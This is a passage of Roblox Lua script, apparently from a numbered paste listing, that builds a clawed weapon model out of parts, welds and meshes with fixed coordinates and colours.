  698. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
  699. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  700. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  701. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  702. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
  703. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  704. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
  705. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
  706. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
  707. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  708. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  709. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
  710. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  711. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  712. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  713. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  714. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
  715. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  716. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  717. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  718. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  719. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
  720. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  721. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  722. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  723. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  724. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  725. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
  726. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  727. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  728. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  729. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  730. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  731. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  732. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  733. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
  734. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  735. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  736. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
  737. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  738. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  739. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  740. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  741. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  742. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  743. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  744. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  745. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
  746. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  747. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  748. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  749. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
  750. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  751. Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1))
  752. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
  753. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
  754. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  755. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
  756. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  757. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
  758. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  759. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  760. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  761. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  762. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  763. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  764. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  765. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  766. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
  767. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  768. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  769. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  770. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  771. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  772. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
  773. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
  774. CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
  775. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  776. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
  777. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  778. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  779. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  780. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
  781. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
  782. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  783. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  784. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
  785. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  786. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
  787. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
  788. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  789. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  790. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  791. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  792. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  793. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  794. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
  795. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  796. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  797. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  798. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  799. MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  800. MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
  801. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  802. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
  803. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  804. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  805. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
  806. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  807. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  808. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  809. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  810. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
  811. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  812. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  813. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  814. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  815. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  816. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  817. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  818. ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
  819. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  820. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  821. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  822. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  823. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  824. MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  825. MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
  826. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  827. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
  828. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  829. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  830. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
  831. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  832. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  833. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  834. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  835. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
  836. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  837. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  838. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  839. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  840. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  841. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  842. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  843. ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
